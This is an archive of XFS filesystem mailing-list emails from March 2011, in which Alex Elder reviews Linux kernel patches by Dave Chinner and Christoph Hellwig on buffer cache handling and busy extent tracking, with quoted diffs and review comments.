Christoph Hellwig From aelder@sgi.com Fri Mar 25 15:57:57 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PKvvK9245902 for ; Fri, 25 Mar 2011 15:57:57 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4696730404E; Fri, 25 Mar 2011 14:01:02 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:01:02 -0500 Subject: Re: [PATCH 4/6] xfs: xfs_trans_read_buf() should return an error on failure From: Alex Elder Reply-To: aelder@sgi.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <1300860870-15471-5-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-5-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:01:01 -0500 Message-ID: <1301086861.2537.682.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:01:02.0191 (UTC) FILETIME=[BFAC1FF0:01CBEB2F] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, 2011-03-23 at 17:14 +1100, Dave Chinner wrote: > From: Dave Chinner > > When inside a transaction and we fail to read a buffer, > xfs_trans_read_buf returns a null buffer pointer and no error. > xfs_do_da_buf() checks the error return, but not the buffer, and as > a result this read failure condition causes a panic when it attempts > to dereference the non-existant buffer. > > Make xfs_trans_read_buf() return the same error for this situation > regardless of whether it is in a transaction or not. This means > every caller does not need to check both the error return and the > buffer before proceeding to use the buffer. Good idea. Later we can clean up callers. I see that not all callers currently check for a null buffer return... Reviewed-by: Alex Elder > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_trans_buf.c | 3 ++- From aelder@sgi.com Fri Mar 25 15:58:04 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PKw48L245947 for ; Fri, 25 Mar 2011 15:58:04 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 169CE8F804B; Fri, 25 Mar 2011 14:01:09 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:01:08 -0500 Subject: Re: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks From: Alex Elder Reply-To: aelder@sgi.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <1300860870-15471-6-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-6-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:01:08 -0500 Message-ID: <1301086868.2537.684.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:01:08.0987 (UTC) FILETIME=[C3B91CB0:01CBEB2F] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, 2011-03-23 at 17:14 +1100, Dave Chinner wrote: > From: Dave Chinner > > During mount, we can do a quotacheck that involves a bulkstat pass > on all inodes. If there are more inodes in the filesystem than can > be held in memory, we require the inode cache shrinker to run to > ensure that we don't run out of memory. > > Unfortunately, the inode cache shrinker is not registered until we > get to the end of the superblock setup process, which is after a > quotacheck is run if it is needed. Hence we need to register the > inode cache shrinker earlier in the mount process so that we don't > OOM during mount. This requires that we also initialise the syncd > work before we register the shrinker, so we nee dto juggle that > around as well. > > While there, make sure that we have set up the block sizes in the > VFS superblock correctly before the quotacheck is run so that any > inodes that are cached as a result of the quotacheck have their > block size fields set up correctly. > > Cc: stable@kernel.org > Signed-off-by: Dave Chinner Looks good. Reviewed-by: Alex Elder . . . From aelder@sgi.com Fri Mar 25 15:59:49 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PKxn3a246370 for ; Fri, 25 Mar 2011 15:59:49 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id C88CDAC014; Fri, 25 Mar 2011 14:02:53 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:02:53 -0500 Subject: Re: [PATCH 6/6] xfs: stop using the page cache to back the buffer cache From: Alex Elder Reply-To: aelder@sgi.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <1300860870-15471-7-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-7-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:02:53 -0500 Message-ID: <1301086973.2537.686.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:02:53.0472 (UTC) FILETIME=[02004200:01CBEB30] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, 2011-03-23 at 17:14 +1100, Dave Chinner wrote: > From: Dave Chinner > > Now that the buffer cache has it's own LRU, we do not need to use > the page cache to provide persistent caching and reclaim > infrastructure. Convert the buffer cache to use alloc_pages() > instead of the page cache. This will remove all the overhead of page > cache management from setup and teardown of the buffers, as well as > needing to mark pages accessed as we find buffers in the buffer > cache. > > By avoiding the page cache, we also remove the need to keep state in > the page_private(page) field for persistant storage across buffer > free/buffer rebuild and so all that code can be removed. This also > fixes the long-standing problem of not having enough bits in the > page_private field to track all the state needed for a 512 > sector/64k page setup. > > It also removes the need for page locking during reads as the pages > are unique to the buffer and nobody else will be attempting to > access them. > > Finally, it removes the buftarg address space lock as a point of > global contention on workloads that allocate and free buffers > quickly such as when creating or removing large numbers of inodes in > parallel. This remove the 16TB limit on filesystem size on 32 bit > machines as the page index (32 bit) is no longer used for lookups > of metadata buffers - the buffer cache is now solely indexed by disk > address which is stored in a 64 bit field in the buffer. > > Signed-off-by: Dave Chinner This is really a great change, a long time coming. I have two comments below, one of which I think is a real (but simple) problem. I've been using this series all week without problems. This patch cleans things up so nicely I *would* like to include it in 2.6.39 if you can update it and turn it around with a pull request for me. If so, I'll do some sanity testing and push it to oss.sgi.com, then send a pull request to Linus with it early next week. Reviewed-by: Alex Elder PS I'm sorry it took so long to get back to you on this stuff. I've had a hard time getting my brain re-engaged this week after coming back from vacation for some reason... > --- > fs/xfs/linux-2.6/xfs_buf.c | 337 ++++++++++---------------------------------- > fs/xfs/linux-2.6/xfs_buf.h | 40 +----- > 2 files changed, 81 insertions(+), 296 deletions(-) > > diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c > index fe51e09..19b0769 100644 > --- a/fs/xfs/linux-2.6/xfs_buf.c > +++ b/fs/xfs/linux-2.6/xfs_buf.c . . . > @@ -719,7 +659,7 @@ xfs_buf_readahead( > { > struct backing_dev_info *bdi; > > - bdi = target->bt_mapping->backing_dev_info; > + bdi = blk_get_backing_dev_info(target->bt_bdev); > if (bdi_read_congested(bdi)) > return; Why not just target->bt_bdi here? In which case, just skip the local variable and call: if (bdi_read_congested(target->bt_bdi)) return; . . . > @@ -1728,12 +1546,11 @@ xfs_alloc_buftarg( > btp->bt_mount = mp; > btp->bt_dev = bdev->bd_dev; > btp->bt_bdev = bdev; > + btp->bt_bdi = blk_get_backing_dev_info(bdev); I think you need to check for a null return value here. if (!btp->bt_bdi) goto error; > INIT_LIST_HEAD(&btp->bt_lru); > spin_lock_init(&btp->bt_lru_lock); > if (xfs_setsize_buftarg_early(btp, bdev)) > goto error; > - if (xfs_mapping_buftarg(btp, bdev)) > - goto error; > if (xfs_alloc_delwrite_queue(btp, fsname)) > goto error; > btp->bt_shrinker.shrink = xfs_buftarg_shrink; . . . From aelder@sgi.com Fri Mar 25 15:59:55 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PKxt10246414 for ; Fri, 25 Mar 2011 15:59:55 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id B8DA7AC014; Fri, 25 Mar 2011 14:03:02 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:03:01 -0500 Subject: Re: [PATCH 1/6] xfs: optimize AGFL refills From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110323121613.GA468@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.280301318@bombadil.infradead.org> <1300833051.2875.275.camel@doink> <20110323121613.GA468@infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:03:01 -0500 Message-ID: <1301086981.2537.687.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:03:01.0957 (UTC) FILETIME=[070EF750:01CBEB30] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, 2011-03-23 at 08:16 -0400, Christoph Hellwig wrote: > On Tue, Mar 22, 2011 at 05:30:51PM -0500, Alex Elder wrote: > > On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > > > Avoid forcing out busy extent when moving blocks from/to the AGFL. We > > > > Without thinking a bit about it, it wasn't clear why doing > > this was OK to do. It would be nice to record a one-sentence > > justification of why we don't need to force busy extents out > > in this case. > > I've added a sentence, but it seems rather pointless. The reason it was not obvious is because the case you're treating is specifically when moving extents (blocks, really) between the free list and the free btrees, in xfs_alloc_fix_freelist(). You still need to force it out when allocating and freeing "actually used" blocks, which could also be considered "moving blocks from/to the AGFL." -Alex > > achieve this > > fixed. > > > > the callers that need it, and by moving the busy list insert from > > > xfs_free_ag_extent extent which is used both by AGFL refills and real > > ^^^^^ drop this word > > fixed. > From aelder@sgi.com Fri Mar 25 16:00:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PL0CHB246732 for ; Fri, 25 Mar 2011 16:00:12 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 07EC6AC00C; Fri, 25 Mar 2011 14:03:19 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:03:19 -0500 Subject: Re: [PATCH 2/6] xfs: do not immediately reuse busy extent ranges From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110322200137.474878707@bombadil.infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.474878707@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:03:19 -0500 Message-ID: <1301086999.2537.688.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:03:19.0598 (UTC) FILETIME=[1192C4E0:01CBEB30] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > Every time we reallocate a busy extent, we cause a synchronous log force > to occur to ensure the freeing transaction is on disk before we continue > and use the newly allocated extent. This is extremely sub-optimal as we > have to mark every transaction with blocks that get reused as synchronous. > > Instead of searching the busy extent list after deciding on the extent to > allocate, check each candidate extent during the allocation decisions as > to whether they are in the busy list. If they are in the busy list, we > trim the busy range out of the extent we have found and determine if that > trimmed range is still OK for allocation. In many cases, this check can > be incorporated into the allocation extent alignment code which already > does trimming of the found extent before determining if it is a valid > candidate for allocation. > > Based on two earlier patches from Dave Chinner. > > Signed-off-by: Christoph Hellwig I already reviewed this, but I noticed a few things that I think are worth clarifying in one comment. There are a few typo's in that same block that you might as well fix while you're at it. . . . > @@ -2634,6 +2704,181 @@ xfs_alloc_busy_search( > return match; > } > > +/* > + * For a given extent [fbno, flen], search the busy extent list > + * to find a subset of the extent that is not busy. > + */ > +STATIC void > +xfs_alloc_busy_trim( > + struct xfs_alloc_arg *args, > + xfs_agblock_t fbno, > + xfs_extlen_t flen, > + xfs_agblock_t *rbno, > + xfs_extlen_t *rlen) > +{ . . . > + } else { > + /* middle overlap */ > + > + /* > + * Case 9: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +-----------------------------------+ > + * fbno fend > + * > + * Can be trimmed to: > + * +-------+ OR +-------+ > + * fbno fend fbno fend > + * > + * We prefer the lower bno extent because the next > + * allocation for this inode will use "end" as the > + * target for first block. If the busy segment has ...will use the updated value of fend as the target... > + * cleared, this will get a contiguous allocation next > + * time around; if thebusy segment has not cleared, the busy > + * it will get an allocation at bend, which is a forward > + * allocation. > + * > + * If we choose segment at bend, and this remains the > + * best extent for the next allocation (e.g. NEAR_BNO > + * allocation) we'll next allocate at bno, which will ...we'll next allocate at (pre-update) fbno, which will... (Actually, correct this if my statements are wrong. The point is to use "fbno" and "fend" where you currently just have "bno" and "end".) > + * give us backwards allocation. We already know that > + * backwards allocation direction causes significant > + * fragmentation of directories and degradataion of > + * directory performance. > + * > + * Always chose the option that produces forward choose > + * allocation patterns so that sequential reads and > + * writes only ever seek in one direction. Only choose > + * the higher bno extent if the remainin unused extent remaining > + * length is much larger than the current allocation > + * request, promising us a contiguous allocation in > + * the following free space. > + */ > + > + if (bbno - fbno >= args->maxlen) { . . . From aelder@sgi.com Fri Mar 25 16:01:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PL1DCC247045 for ; Fri, 25 Mar 2011 16:01:13 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5EBCE304067; Fri, 25 Mar 2011 14:04:21 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:04:21 -0500 Subject: Re: [PATCH 3/6] xfs: exact busy extent tracking From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110322200137.657110761@bombadil.infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.657110761@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:04:20 -0500 Message-ID: <1301087060.2537.689.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:04:21.0286 (UTC) FILETIME=[36579C60:01CBEB30] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > Update the extent tree in case we have to reuse a busy extent, so that it > always is kept uptodate. This is done by replacing the busy list searches > with a new xfs_alloc_busy_reuse helper, which updates the busy extent tree > in case of a reuse. Also replace setting transactions to sync with forcing > the log out in case we found a busy extent to reuse. This makes the code a > lot more simple, and is required for discard support later on. While it > will cause performance regressios with just this patch applied, the impact > is more than mitigated by the next patch in the series. > > Signed-off-by: Christoph Hellwig In this one, xfs_alloc_busy_reuse() is broken, or at least it has some dead code in it now. (But now that I've looked at the later patches I see that's a temporary artifact. I've left my original comments in place anyway, in case any insights remain despite that.) More below. > Index: xfs/fs/xfs/xfs_alloc.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-20 19:41:55.835479390 +0100 > +++ xfs/fs/xfs/xfs_alloc.c 2011-03-21 14:49:14.157973188 +0100 . . . > @@ -2459,100 +2459,6 @@ error0: > return error; > } > > - > -/* > - * AG Busy list management > - * The busy list contains block ranges that have been freed but whose > - * transactions have not yet hit disk. If any block listed in a busy > - * list is reused, the transaction that freed it must be forced to disk > - * before continuing to use the block. > - * > - * xfs_alloc_busy_insert - add to the per-ag busy list > - * xfs_alloc_busy_clear - remove an item from the per-ag busy list > - * xfs_alloc_busy_search - search for a busy extent > - */ > - > -/* > - * Insert a new extent into the busy tree. OK, to be honest I haven't re-read this entire block of comment text to identify what might be of value. But is there really *nothing* worth saving? Is the busy extent tree documented adequately elsewhere? > - * The busy extent tree is indexed by the start block of the busy extent. > - * there can be multiple overlapping ranges in the busy extent tree but only > - * ever one entry at a given start block. The reason for this is that > - * multi-block extents can be freed, then smaller chunks of that extent > - * allocated and freed again before the first transaction commit is on disk. > - * If the exact same start block is freed a second time, we have to wait for > - * that busy extent to pass out of the tree before the new extent is inserted. > - * There are two main cases we have to handle here. . . . > @@ -2583,66 +2487,30 @@ xfs_alloc_busy_insert( > new->agno = agno; > new->bno = bno; > new->length = len; > - new->tid = xfs_log_get_trans_ident(tp); > - > INIT_LIST_HEAD(&new->list); > > /* trace before insert to be able to see failed inserts */ > trace_xfs_alloc_busy(tp, agno, bno, len, 0); > > pag = xfs_perag_get(tp->t_mountp, new->agno); > -restart: > spin_lock(&pag->pagb_lock); > rbp = &pag->pagb_tree.rb_node; > - parent = NULL; > - busyp = NULL; > - match = 0; > - while (*rbp && match >= 0) { > + while (*rbp) { > parent = *rbp; > busyp = rb_entry(parent, struct xfs_busy_extent, rb_node); > > if (new->bno < busyp->bno) { > /* may overlap, but exact start block is lower */ This comment isn't really right any more (BUG_ON that condition). > rbp = &(*rbp)->rb_left; > - if (new->bno + new->length > busyp->bno) > - match = busyp->tid == new->tid ? 1 : -1; > + BUG_ON(new->bno + new->length > busyp->bno); > } else if (new->bno > busyp->bno) { > /* may overlap, but exact start block is higher */ This one too. > rbp = &(*rbp)->rb_right; > - if (bno < busyp->bno + busyp->length) > - match = busyp->tid == new->tid ? 1 : -1; > + BUG_ON(bno < busyp->bno + busyp->length); > } else { > - match = busyp->tid == new->tid ? 1 : -1; > - break; > + BUG(); > } . . . > @@ -2704,6 +2571,173 @@ xfs_alloc_busy_search( > return match; > } > /* * The found free extent [fbno, fend] overlaps part or all * of the given busy extent. If the overlap covers the * beginning, the end, or all of the busy extent, the * overlapping portion can be made unbusy and used for * the allocation. We can't split a busy extent because * we can't modify a transaction/CIL context busy list, * but we can update an entry's block number or length. * * The caller will force the log and re-check the busy * list after returning from this function. */ > +STATIC int > +xfs_alloc_busy_try_reuse( > + struct xfs_perag *pag, > + struct xfs_busy_extent *busyp, > + xfs_agblock_t fbno, > + xfs_agblock_t fend) > +{ > + xfs_agblock_t bbno = busyp->bno; > + xfs_agblock_t bend = bbno + busyp->length; > + > + if (bbno < fbno && bend > fend) { > + /* > + * Case 1: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +---------+ > + * fbno fend > + */ > + > + /* > + * We would have to split the busy extent to be able > + * to track it correct, which we cannot do because we > + * would have to modify the list of busy extents > + * attached to the transaction/CIL context, which > + * is mutable. > + * > + * Force out the log to clear the busy extents > + * and retry the search. The caller forces the log. Rely on a comment in this function's header to say that (not here). > + */ > + return -1; > + } else if (bbno >= fbno && bend <= fend) { > + /* > + * Case 2: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +-----------------+ > + * fbno fend . . . > + > + return 1; > +} > + > + > +/* > + * For a given extent [fbno, flen], make sure we can reuse it safely. > + */ > +void > +xfs_alloc_busy_reuse( > + struct xfs_trans *tp, > + xfs_agnumber_t agno, > + xfs_agblock_t fbno, > + xfs_extlen_t flen) > +{ > + struct xfs_perag *pag; > + struct rb_node *rbp; > + > + ASSERT(flen > 0); > + > + pag = xfs_perag_get(tp->t_mountp, agno); > +restart: > + spin_lock(&pag->pagb_lock); > + rbp = pag->pagb_tree.rb_node; > + while (rbp) { > + struct xfs_busy_extent *busyp = > + rb_entry(rbp, struct xfs_busy_extent, rb_node); > + xfs_agblock_t fend = fbno + flen; > + xfs_agblock_t bbno = busyp->bno; > + xfs_agblock_t bend = bbno + busyp->length; > + int overlap; > + > + if (fend <= bbno) { > + rbp = rbp->rb_left; > + continue; > + } else if (fbno >= bend) { > + rbp = rbp->rb_right; > + continue; > + } > + I was going to suggest: /* Extent overlaps busy extent */ here, but I think that may not be the case any more if busyp->length is zero. Or rather, the extent may surround the zero-length busy extent (which I suppose could be considered overlap). If busyp->length is zero, I think the call to xfs_alloc_busy_try_reuse() is not needed; in fact, if it is already 0, that function will call rb_erase() on the entry again. > + overlap = xfs_alloc_busy_try_reuse(pag, busyp, > + fbno, fbno + flen); Note that xfs_alloc_busy_try_reuse() only returns 1 or -1 now... > + if (overlap) { ...therefore this branch is always taken, and the code below this block to the end of the loop is not reached. Since this is the only place it's used, xfs_alloc_busy_try_reuse() might as well be defined as a void function. (Ahh, but now that I've looked at the later patches I see it gets used again later. I'm leaving my comments here nevertheless.) > + spin_unlock(&pag->pagb_lock); > + xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); > + goto restart; > + } +------ code starting here is never reached | > + /* > + * No more busy extents to search. > + */ > + if (bbno <= fbno && bend >= fend) > + break; > + > + if (fbno < bbno) > + rbp = rbp->rb_left; > + else > + rbp = rbp->rb_right; | +------ end of code not reached > + } > + spin_unlock(&pag->pagb_lock); > + xfs_perag_put(pag); > +} > + > /* > * For a given extent [fbno, flen], search the busy extent list > * to find a subset of the extent that is not busy. * If part or all of the extent is busy, force the log, then * verify it is no longer busy before returning. > @@ -2889,14 +2923,12 @@ xfs_alloc_busy_clear( > trace_xfs_alloc_unbusy(mp, busyp->agno, busyp->bno, > busyp->length); > > - ASSERT(xfs_alloc_busy_search(mp, busyp->agno, busyp->bno, > - busyp->length) == 1); > - > list_del_init(&busyp->list); > > pag = xfs_perag_get(mp, busyp->agno); > spin_lock(&pag->pagb_lock); > - rb_erase(&busyp->rb_node, &pag->pagb_tree); > + if (busyp->length) > + rb_erase(&busyp->rb_node, &pag->pagb_tree); > spin_unlock(&pag->pagb_lock); > xfs_perag_put(pag); > . . . From aelder@sgi.com Fri Mar 25 16:01:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PL1Va4247137 for ; Fri, 25 Mar 2011 16:01:31 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id A9BE08F804B; Fri, 25 Mar 2011 14:04:39 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:04:39 -0500 Subject: Re: [PATCH 4/6] xfs: allow reusing busy extents where safe From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110322200137.837735220@bombadil.infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.837735220@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:04:39 -0500 Message-ID: <1301087079.2537.690.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:04:39.0536 (UTC) FILETIME=[41385700:01CBEB30] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > Allow reusing any busy extent for metadata allocations, and reusing busy > userdata extents for userdata allocations. Most of the complexity is > propagating the userdata information from the XFS_BMAPI_METADATA flag > to xfs_bunmapi into the low-level extent freeing routines. After that > we can just track what type of busy extent we have and treat it accordingly. Why is it OK to reuse user data extents for user data allocations? I accept it is, I just haven't worked through in my mind why. > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_alloc.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-21 14:49:14.000000000 +0100 > +++ xfs/fs/xfs/xfs_alloc.c 2011-03-21 14:51:31.746155282 +0100 > @@ -1396,7 +1396,8 @@ xfs_alloc_ag_vextent_small( > if (error) > goto error0; > if (fbno != NULLAGBLOCK) { > - xfs_alloc_busy_reuse(args->tp, args->agno, fbno, 1); > + xfs_alloc_busy_reuse(args->tp, args->agno, fbno, 1, > + args->userdata); > > if (args->userdata) { > xfs_buf_t *bp; > @@ -2431,7 +2432,8 @@ int /* error */ > xfs_free_extent( > xfs_trans_t *tp, /* transaction pointer */ > xfs_fsblock_t bno, /* starting block number of extent */ > - xfs_extlen_t len) /* length of extent */ > + xfs_extlen_t len, > + bool userdata)/* length of extent */ xfs_extlen_t len, /* length of extent */ bool userdata) > { > xfs_alloc_arg_t args; > int error; . . . > @@ -2717,7 +2723,7 @@ restart: (in xfs_alloc_busy_reuse()) > > overlap = xfs_alloc_busy_try_reuse(pag, busyp, > fbno, fbno + flen); > - if (overlap) { > + if (overlap == -1 || (overlap && userdata)) { xfs_alloc_busy_try_reuse() (still) never returns non-zero, so this could just be: if (overlap == -1 || userdata) { I understand why we can skip forcing the log if we're not doing a userdata allocation. But why don't you also check busyp->flags here when it's a userdata allocation, to see if it represents a busy userdata section and therefore would allow avoiding the log force (like is done below in xfs_alloc_busy_trim())? You would have to grab the flag value in busyp before the call. > spin_unlock(&pag->pagb_lock); > xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); > goto restart; > @@ -2754,6 +2760,7 @@ xfs_alloc_busy_trim( > > ASSERT(flen > 0); > > +restart: > spin_lock(&args->pag->pagb_lock); > rbp = args->pag->pagb_tree.rb_node; > while (rbp && flen >= args->minlen) { > @@ -2771,6 +2778,31 @@ xfs_alloc_busy_trim( > continue; > } > > + if (!args->userdata || > + (busyp->flags & XFS_ALLOC_BUSY_USERDATA)) { > + int overlap; > + > + overlap = xfs_alloc_busy_try_reuse(args->pag, busyp, > + fbno, fbno + flen); > + if (unlikely(overlap == -1)) { > + spin_unlock(&args->pag->pagb_lock); > + xfs_log_force(args->mp, XFS_LOG_SYNC); > + goto restart; > + } > + > + /* > + * No more busy extents to search. > + */ > + if (bbno <= fbno && bend >= fend) > + goto out; > + > + if (fbno < bbno) > + rbp = rbp->rb_left; > + else > + rbp = rbp->rb_right; > + continue; > + } > + > if (bbno <= fbno) { > /* start overlap */ > . . . > Index: xfs/fs/xfs/xfs_ag.h > =================================================================== > --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-21 14:48:04.000000000 +0100 > +++ xfs/fs/xfs/xfs_ag.h 2011-03-21 14:49:21.941981228 +0100 . . . > @@ -3750,6 